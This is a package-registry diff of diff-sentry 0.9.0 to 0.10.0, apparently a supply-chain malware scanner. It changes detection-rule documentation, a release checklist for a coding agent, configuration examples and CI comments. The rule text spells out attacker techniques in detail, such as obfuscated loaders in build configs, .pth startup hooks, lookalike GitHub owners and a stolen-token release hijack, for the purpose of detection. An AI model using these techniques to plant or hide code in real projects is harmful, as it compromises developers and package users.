diff-sentry 0.9.0__tar.gz → 0.10.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (158) hide show
  1. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/indicators.md +1 -0
  2. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/monitoring.md +1 -1
  3. diff_sentry-0.10.0/.claude/skills/release/SKILL.md +25 -0
  4. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.env.example +3 -6
  5. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.github/workflows/ci.yml +13 -45
  6. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.github/workflows/release.yml +9 -32
  7. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/CHANGELOG.md +19 -3
  8. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/PKG-INFO +4 -4
  9. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/README.md +3 -3
  10. diff_sentry-0.10.0/VENDOR.md +10 -0
  11. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/action.yml +6 -15
  12. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/__init__.py +4 -12
  13. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/actors.py +28 -67
  14. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/assemble.py +5 -17
  15. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/cli.py +28 -59
  16. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/config.py +15 -43
  17. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/dbutil.py +2 -5
  18. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/deep_classify.py +16 -38
  19. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/detect.py +10 -28
  20. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/emit.py +6 -16
  21. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/fetch_tool.py +5 -15
  22. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/hosts.py +16 -46
  23. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/indicators.py +357 -787
  24. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/ingest.py +26 -71
  25. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/linewide.py +7 -26
  26. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/normalize.py +21 -64
  27. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/releases.py +118 -84
  28. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/response.py +7 -21
  29. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/rl_export.py +9 -28
  30. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/rubric.py +16 -44
  31. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/schema.py +21 -58
  32. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/shelllex.py +20 -76
  33. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/snapshot.py +8 -22
  34. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/watch.py +41 -100
  35. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/docs/how-it-works.md +1 -1
  36. diff_sentry-0.10.0/docs/release-watch.md +29 -0
  37. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/__init__.py +2 -8
  38. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/cli.py +6 -17
  39. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/judge.py +14 -36
  40. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/schema.py +4 -18
  41. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/score.py +13 -34
  42. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/taskset.py +5 -19
  43. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/pyproject.toml +1 -4
  44. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/conftest.py +4 -10
  45. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_boundary.py +2 -5
  46. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_cli.py +2 -5
  47. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_score.py +1 -2
  48. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/pyproject.toml +13 -35
  49. diff_sentry-0.10.0/studio/README.md +123 -0
  50. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/app.py +23 -78
  51. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/iterations.py +17 -49
  52. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/live.py +13 -48
  53. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/mapper.py +11 -30
  54. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/pyproject.toml +3 -12
  55. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/app.js +12 -29
  56. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/replay-core.js +5 -12
  57. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/run-core.js +7 -22
  58. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/style.css +8 -18
  59. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/trajectory.js +3 -9
  60. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/replay-core.test.js +1 -2
  61. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/run-core.test.js +1 -2
  62. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/static-contract.test.js +3 -7
  63. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/test_app.py +8 -21
  64. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/test_iterations.py +2 -4
  65. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/test_live.py +4 -13
  66. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/test_mapper.py +4 -8
  67. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/tests/trajectory.test.js +1 -5
  68. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/conftest.py +5 -13
  69. diff_sentry-0.10.0/tests/oracle/__init__.py +6 -0
  70. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/oracle/grammar.py +7 -21
  71. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/oracle/harness.py +7 -18
  72. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/oracle/lexrunner.py +1 -2
  73. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/oracle/programs.py +2 -5
  74. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/oracle/runner.py +3 -8
  75. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_actors.py +7 -16
  76. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_adversarial_input.py +12 -26
  77. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_assemble.py +3 -6
  78. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_campaign_replay.py +5 -11
  79. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_cli.py +11 -30
  80. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_cli_watch.py +1 -2
  81. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_config.py +1 -2
  82. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_deep_classify.py +1 -3
  83. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_detect.py +3 -7
  84. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_detection_quality.py +10 -22
  85. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_dogfood_gate.py +1 -4
  86. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_emit.py +1 -2
  87. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_enclosure.py +5 -10
  88. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_export.py +4 -8
  89. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_fetch_tool.py +1 -5
  90. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_file_scope.py +2 -4
  91. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_file_structure.py +2 -4
  92. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_forward_offline.py +7 -17
  93. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_gate_edges.py +1 -3
  94. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_grounding.py +3 -8
  95. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_hosts.py +1 -3
  96. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_incident_hackerbot_claw.py +7 -20
  97. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_indicators.py +26 -62
  98. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_ingest.py +2 -4
  99. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_ingest_metadata.py +3 -7
  100. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_injection_offline.py +5 -15
  101. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_inline_exec_and_bidi.py +1 -3
  102. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_linewide.py +11 -24
  103. diff_sentry-0.10.0/tests/test_lookalike_owner.py +243 -0
  104. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_metadata_rules.py +44 -97
  105. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_oracle.py +10 -27
  106. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_provenance.py +7 -18
  107. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_python_loader.py +1 -5
  108. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_releases.py +157 -8
  109. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_response.py +3 -8
  110. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_rubric.py +1 -3
  111. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_shelllex.py +6 -13
  112. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_snapshot.py +1 -2
  113. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_subscription.py +4 -9
  114. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_watch.py +5 -11
  115. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_watch_pool.py +1 -2
  116. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/uv.lock +1 -1
  117. diff_sentry-0.9.0/.claude/skills/release/SKILL.md +0 -39
  118. diff_sentry-0.9.0/VENDOR.md +0 -16
  119. diff_sentry-0.9.0/docs/release-watch.md +0 -26
  120. diff_sentry-0.9.0/studio/README.md +0 -209
  121. diff_sentry-0.9.0/tests/oracle/__init__.py +0 -11
  122. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/detect-setup.md +0 -0
  123. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/handoff.md +0 -0
  124. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/rubric-and-eval.md +0 -0
  125. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.gitignore +0 -0
  126. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/.python-version +0 -0
  127. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/AGENTS.md +0 -0
  128. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/LICENSE +0 -0
  129. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/__main__.py +0 -0
  130. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/ci-and-workflows.md +0 -0
  131. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/concealment-and-provenance.md +0 -0
  132. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/developer-autorun.md +0 -0
  133. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/llm-directed-text.md +0 -0
  134. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/package-and-build-hooks.md +0 -0
  135. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/runtime-droppers-and-exfil.md +0 -0
  136. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/diff_sentry/skills/triage-a-change.md +0 -0
  137. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/docs/development.md +0 -0
  138. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/docs/limits.md +0 -0
  139. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/docs/watch.md +0 -0
  140. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/README.md +0 -0
  141. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/__main__.py +0 -0
  142. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/taskset.example.json +0 -0
  143. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_judge.py +0 -0
  144. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_schema.py +0 -0
  145. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/eval/tests/test_taskset.py +0 -0
  146. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/DESIGN.md +0 -0
  147. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/__init__.py +0 -0
  148. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/index.html +0 -0
  149. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/vendor/fonts/jetbrains-mono-400.woff2 +0 -0
  150. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/studio/static/vendor/fonts/jetbrains-mono-700.woff2 +0 -0
  151. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/__init__.py +0 -0
  152. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/corpus/change_corpus.json +0 -0
  153. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/corpus/hackerbot_claw_campaign.json +0 -0
  154. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/corpus/hackerbot_claw_incident.json +0 -0
  155. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/fixtures/known-malicious.diff +0 -0
  156. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_normalize.py +0 -0
  157. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_oracle_harness.py +0 -0
  158. {diff_sentry-0.9.0 → diff_sentry-0.10.0}/tests/test_schema.py +0 -0
@@ -132,6 +132,7 @@ A dev machine infected by a loader of the Contagious Interview / PolinRider fami
132
132
  - **`binary-name-holds-text` is `high`**: a text patch under a font, image, archive or native-binary name, or added lines with no patch (a text diff too large to show). A real file of those formats has a NUL in its first bytes, so GitHub sends no patch and counts no lines. A Git LFS pointer is exempt only when its whole new side is pointer keys (`version` first, then `oid sha256:<64 hex>`, `size <n>`), so an update that rewrites only `oid` and `size` stays exempt and a script with a pointer line inside does not. `.svg` is text by nature and `.pdf` is often stored as text, so neither is on the list.
133
133
  - **`obfuscated-dev-config` is `critical`**: `obfuscated-string-array` in the ADDED lines of a config a developer's tools execute (`eslint`, `vite`, `vitest`, `webpack`, `rollup`, `next`, `nuxt`, `tailwind`, `postcss`, `babel`, `jest`, `playwright`, `prettier`, `hardhat`, `commitlint`, `stylelint` configs and their `rc` files, `truffle-config`, `gatsby-*`, `.mocharc`, gulpfile, Gruntfile, `karma.conf`). Removing it is cleanup.
134
134
  - **`python-startup-hook` is `high`**: a written `.pth` line that starts with `import` and a blank (the only lines `site` executes; the rest of a `.pth` is a list of paths), after an optional BOM, with each line of the patch split as `site` splits it (`str.splitlines`, so a lone CR or a form feed starts a line of its own); and any written line, or a rename, of a `sitecustomize` or `usercustomize` module or package. A `.pth` renamed without a change to its content shows no line and is a known gap. Python runs both at every start of an interpreter whose site-packages holds them, the litellm 1.107.0 wheels' trigger. The shims of packaging and instrumentation tools (virtualenv, setuptools' `distutils-precedence.pth`, coverage, OpenTelemetry's `sitecustomize.py`) are an accepted over-alert: they run code at every start too.
135
+ - **`lookalike-owner` is `critical` in a workflow or `action.yml` and `high` elsewhere**: a written GitHub owner where a change names one (a URL on `github.com`, the API's `repos/`, `raw.githubusercontent.com` or `ghcr.io`, any case; `uses:`, `gh repo clone`, `-R` / `--repo`, npm's `github:`; a YAML value under `repository:`, a key naming a repo or a source, or `default:`) that equals the repository's own once hyphens are dropped and is not it (GitHub owners ignore case, so a case difference is the same account). Never a bare `x/y` token: a Docker Hub namespace drops its org's hyphen (`nodered/node-red`) and a package directory often does too. No reading of the YAML around a reference decides its strength: in a workflow every hyphen lookalike is `critical` (each structural reading tried had a spelling that moved a checkout's own `repository:` below the floor), and a hyphenated organisation that writes its own Docker Hub namespace under a repo key there (`repository: nodered/node-red`) is an accepted over-alert. Outside a workflow a URL, `uses:`, a clone, `-R` and `github:` are `high`, and a key's value is `medium` (a chart's `image:` / `repository:`, a `DOCKER_REPO`, a `source_dir`). A value may follow tags and anchors in either order, a block scalar's indicator, a comment, a quote, and up to three blank or comment lines before a line of its own (a hunk's edge is never crossed); a line after an empty key at any indentation is read as its value, an accepted over-alert. A name keeps its strongest sighting, so a weak one first never hides a strong one after. An owner one edit away at six or more characters is `medium` too, since real sibling organisations sit one edit apart (`python`, `ipython`): it is evidence for the model stage, never a gate. Every reference is read; hits are bounded per class (50), so cheap hits in front never crowd out a strong one. Known gaps: an owner split across keys (`owner:` / `repo:`) or built by `format()`, a YAML alias (`repository: *src`), a value past more than three blank or comment lines or a key-line comment longer than 200 characters, a key that names neither a repo nor a source (`UPSTREAM:`), and a lookalike of an organisation the repository depends on rather than its own. litellm 1.107.0's private release workflow was pointed at `Berri-AI/litellm` by a commit force-pushed with an organisation owner's stolen token, after that token turned branch protection off. A workflow's `repository:` naming another owner is `foreign-checkout`, `medium`. The owner comes from the event's `repo` (never for a release) or, in the Action, `scan --repo` (default `GITHUB_REPOSITORY`); without one neither rule runs.
135
136
  - **The token walks are bounded**: a comment never spans two hunks (the lines between them are unseen), and a `command`'s object is searched at most `_OBJECT_REACH` tokens each way, for at most `_MAX_RUN_ENTRIES` entries a file.
136
137
  - **A structural hit's id carries its path** (`form=path`): the same setting in `tasks.json` and `settings.json` is two findings, not one deduped into the other.
137
138
  - **`obfuscated-string-array` (`high`) runs everywhere**: javascript-obfuscator's rotation loop `while(!![])` with the push/shift rotation or 20 hex-indexed decoder calls. It needs no `_0x` names, which a mangled-name setting removes (`obfuscated-identifiers` still reads those). Hand-rewritten output (`while(!0)`) is a known gap.
@@ -46,7 +46,7 @@ paths:
46
46
  ## Release watch (`releases.py`, `release-watch`)
47
47
 
48
48
  - **A release is a change.** `release_event` builds a `kind="release"` event (`repo` `pypi/<name>`, run id `pypi__<name>-<version>`, `-r<n>` for files added to a release later) whose files are the members of the new artifacts with content the previous release lacked, labelled `<kind>/<path>` (`wheel/cook.pth`, `sdist/pyproject.toml`), with a unified diff as the patch. It goes through `cli.screen`, so every text and file-structure rule reads it; never add a second scanning path for releases.
49
- - **Release facts are host-side facts.** `scan_release` turns `event["release"]` into baseline hits beside `scan_provenance` in `cli._baseline_indicators`: `release-new-install-root` (medium), `release-new-dependency` (low), and what was not read, all `high`: `release-attestation-dropped`, `release-shadowed-member` (two members of one artifact install to one path, which pip resolves to the `.data` copy), `release-code-not-read` (a changed member that runs, by suffix or as a build file or script, and was not shown as text: too large, past the diff's 20,000 lines, past a text or patch budget, compiled bytecode, a source file declaring a coding it cannot be read in, and a native module whose name, without its ABI tag, the previous release did not have), and `release-not-fully-read` (an artifact not downloaded, not matching its sha256, not read to its end for any reason, or a comparison given up after five attempts, which is screened and alerts on its own). `release_scope` keeps `prompt-injection` at `medium` in a release event: a package's files are read by the programs that import them, and an LLM library's own code talks about its prompts.
49
+ - **Release facts are host-side facts.** `scan_release` turns `event["release"]` into baseline hits beside `scan_provenance` in `cli._baseline_indicators`: `release-new-install-root` (medium), `release-new-dependency` (low), `release-attestation-dropped` (`high`: the previous release had attestations, all of its files or any, and these files have none), `release-publisher-changed` (`high`: a Trusted Publisher, as kind, repository, workflow, environment and a Google publisher's email, case-folded, that the previous release's attestations did not name; it names the repository whose workflow uploaded, not the source it built from, and needs an attested previous release; read from PyPI's provenance URL in the index, retried when PyPI does not serve it) and `release-publisher-lookalike` (`critical`: that publisher's owner differs from a previous one's only by hyphens), and what was not read, all `high`: `release-shadowed-member` (two members of one artifact install to one path, which pip resolves to the `.data` copy), `release-code-not-read` (a changed member that runs, by suffix or as a build file or script, and was not shown as text: too large, past the diff's 20,000 lines, past a text or patch budget, compiled bytecode, a source file declaring a coding it cannot be read in, and a native module whose name, without its ABI tag, the previous release did not have), and `release-not-fully-read` (an artifact not downloaded, not matching its sha256, not read to its end for any reason, or a comparison given up after five attempts, which is screened and alerts on its own). `scan_release_change` is `scan_change` with `release_scope`, which keeps the mention rules (`prompt-injection`, `codeowners-tamper`, `workflow-tamper`, `privileged-fork-trigger`, `ci-bypass`) at `medium` anywhere in a release: a package's files are read by the programs that import them, a package governs no repository, and a comment mentions these as readily as code. The workflow-content rules (`pwn-request`, `workflow-permission-escalation`) keep their severity in every file, a workflow file of the sdist included: wherever a package carries that content, its code or its build can push it into someone's repository (a worm's shape), and every narrower reading tried had a spelling that hid one. Package code that writes only a code-owners file is a known gap.
50
50
  - **Artifacts are data.** Download only from `pypi.org` and `files.pythonhosted.org` over https, no redirects, each body checked against the index's sha256; read archives in memory, never extract, never install. Bounds: a download (`DS_RELEASE_MAX_ARTIFACT_MB`, 256), a release (1 GiB or four downloads), a zip's central directory (32 MiB: the largest of the size the end record states and the zip64 records whenever a locator sits before it, the one zipfile reads right before the locator and the one the locator names; never the member count, which zipfile ignores), members per artifact (50,000, a cut noted), decompressed bytes per artifact (256 MiB, counted by a capped stream so a tar header is bounded too), text kept per comparison (256 MiB), text per member (1 MiB; a larger one is compared by its sha256), patch text per event (16 MiB). A download PyPI does not serve is retried, never judged on part of a release.
51
51
  - **Two passes.** The first reads digests only, to learn which members changed; the second keeps text for those and for the metadata alone, so a release of many platform wheels does not spend the text budget on what did not change. A Python source member is read as UTF-8 with replacement characters and its NULs kept, and, when its first two lines hold a `coding[:=]` declaration anywhere, also as that coding (resolved by `codecs.lookup` as CPython resolves it; a name of more than 200 characters is not resolved), both readings scanned (a `coding: utf-7` file hides its code from a UTF-8 read, and where CPython honours a declaration is not reproduced, so neither reading is left to the author); a declared coding that cannot be read is `release-code-not-read` (`site` runs a `.pth` line after a NUL line); any other member that is not UTF-8 is binary.
52
52
  - **Paths are where pip puts them.** A wheel's `x.data/purelib/` and `platlib/` map to the site-packages root, `x.data/scripts/` to `{scripts}/`, `x.dist-info/` to `{dist-info}/`; an sdist member loses its top directory, and one at the root keeps its path (pip builds from the root when the members share no top directory). `RECORD`, `WHEEL` and `METADATA` of a wheel, and `PKG-INFO` and `*.egg-info/` of an sdist, are derived and not diffed; `Requires-Dist` is read from `METADATA`.
@@ -0,0 +1,25 @@
1
+ ---
2
+ name: release
3
+ description: "Cut a diff-sentry release: bump the five version sites together, write the CHANGELOG entry, and publish the GitHub Release that ships PyPI + the Marketplace Action. Use when asked to release, bump the version, or tag vX.Y.Z."
4
+ ---
5
+
6
+ # Cut a diff-sentry release
7
+
8
+ A release moves FIVE version sites together, plus a `CHANGELOG.md` entry:
9
+
10
+ 1. `pyproject.toml` `[project].version`
11
+ 2. `diff_sentry/__init__.py` `__version__`
12
+ 3. `action.yml` `inputs.version.default` (decides which PyPI release a consumer's `uses: …@vX.Y.Z` installs)
13
+ 4. `README.md` quickstart `uses: qazbnm456/diff-sentry@vX.Y.Z`
14
+ 5. `uv.lock`, via `uv lock`
15
+
16
+ `release.yml` fails the build unless the tag, the built wheel's version, the installed `__version__`, and the `action.yml` default all agree, and it checks that the installed console script flags a known-malicious diff. Nothing gates the README `uses:` line: a stale one sends new adopters to the previous release, so check it by hand.
17
+
18
+ ## Steps
19
+
20
+ 1. Freeze the boundary: `git fetch --tags`, then `git log v<last>..HEAD` (the tag is made on GitHub when the release is published, so a clone has it only after a fetch). Every `feat:` / `fix:` / `deps:` commit inside it is a CHANGELOG candidate.
21
+ 2. Write the `CHANGELOG.md` entry in the file's existing style: one sentence per user-visible outcome, breaking changes and required actions explicit, no debugging story. Put it through `/write` (release-notes mode) and the punctuation gate before step 4; it is the release notes, so it is outward copy.
22
+ 3. Bump sites 1 to 4, run `uv lock`, then verify: `uv run pytest`, the eval suite (`uv run --package diff-sentry-eval --extra dev python -m pytest eval/tests`), `uvx ruff check .`.
23
+ 4. Commit (`chore: release X.Y.Z`) and push to `main` once the user approves. CI's `consumer install path (PyPI)` job then goes RED on this commit, by design: it installs `action.yml`'s default version from PyPI, which does not exist until step 5. Every other job must be green before you continue.
24
+ 5. Create a DRAFT release (`gh release create vX.Y.Z --draft --target <release sha> --title … --notes-file …`, notes = the CHANGELOG section). The user publishes it in the web UI with "Publish this Action to the GitHub Marketplace" ticked (the CLI cannot tick it). Publishing is what builds, verifies, and uploads to PyPI via Trusted Publishing, and the upload is irreversible.
25
+ 6. After `release.yml` succeeds and PyPI's simple index lists the version (`curl -s -H "Accept: application/vnd.pypi.simple.v1+json" https://pypi.org/simple/diff-sentry/`; the index lags the upload by minutes, and a rerun before it lists the version fails to resolve), re-run the failed consumer-install job (`gh run rerun <ci run id> --failed`); green proves the published package installs and scans. The runner reads PyPI through another CDN edge, which can lag the index you checked by several minutes: a rerun that still cannot resolve the version is run again a few minutes later, not debugged.
@@ -12,8 +12,7 @@ DS_BASE_URL=https://your-openai-compatible-endpoint/v1
12
12
  DS_API_KEY=sk-...
13
13
 
14
14
  # --- OR: run planner + analyst on a Claude Pro/Max subscription (no API key) ---
15
- # A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra).
16
- # Each call is a pure completion: no tools, no filesystem, no settings leakage.
15
+ # A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra). Each call is a pure completion: no tools, no filesystem, no settings leakage.
17
16
  # Prerequisites:
18
17
  # - `uv sync --extra subscription`
19
18
  # - the Claude Code CLI installed and logged in (`claude` then /login, or `claude setup-token` and export CLAUDE_CODE_OAUTH_TOKEN)
@@ -38,11 +37,9 @@ DS_API_KEY=sk-...
38
37
  # DS_CLASSIFIER_TIMEOUT=60 # seconds per call, a hard ceiling
39
38
  # DS_CLASSIFIER_TRANSIENT_RETRIES=1 # re-sends after an endpoint error (not after an unusable reply)
40
39
  # DS_CLASSIFIER_MAX_TOKENS=2048
41
- # A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens.
42
- # Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
40
+ # A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens. Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
43
41
  # Extra request parameters (JSON object, single-quoted) apply over the default temperature of 0.1.
44
- # Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them).
45
- # So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
42
+ # Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them). So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
46
43
  # DS_CLASSIFIER_LM_KWARGS='{"temperature":1,"extra_body":{"thinking_token_budget":1024}}'
47
44
 
48
45
  # --- RLM runtime ---
@@ -1,17 +1,12 @@
1
1
  name: CI
2
2
 
3
- # Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use
4
- # DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the
5
- # indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI
6
- # at the exact version pinned in pyproject.toml / uv.lock.
3
+ # Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI at the exact version pinned in pyproject.toml / uv.lock.
7
4
  on:
8
5
  push:
9
6
  branches: [main]
10
7
  pull_request:
11
8
 
12
- # Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying
13
- # `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted
14
- # fork PR can't use the token to push, tag, or open issues.
9
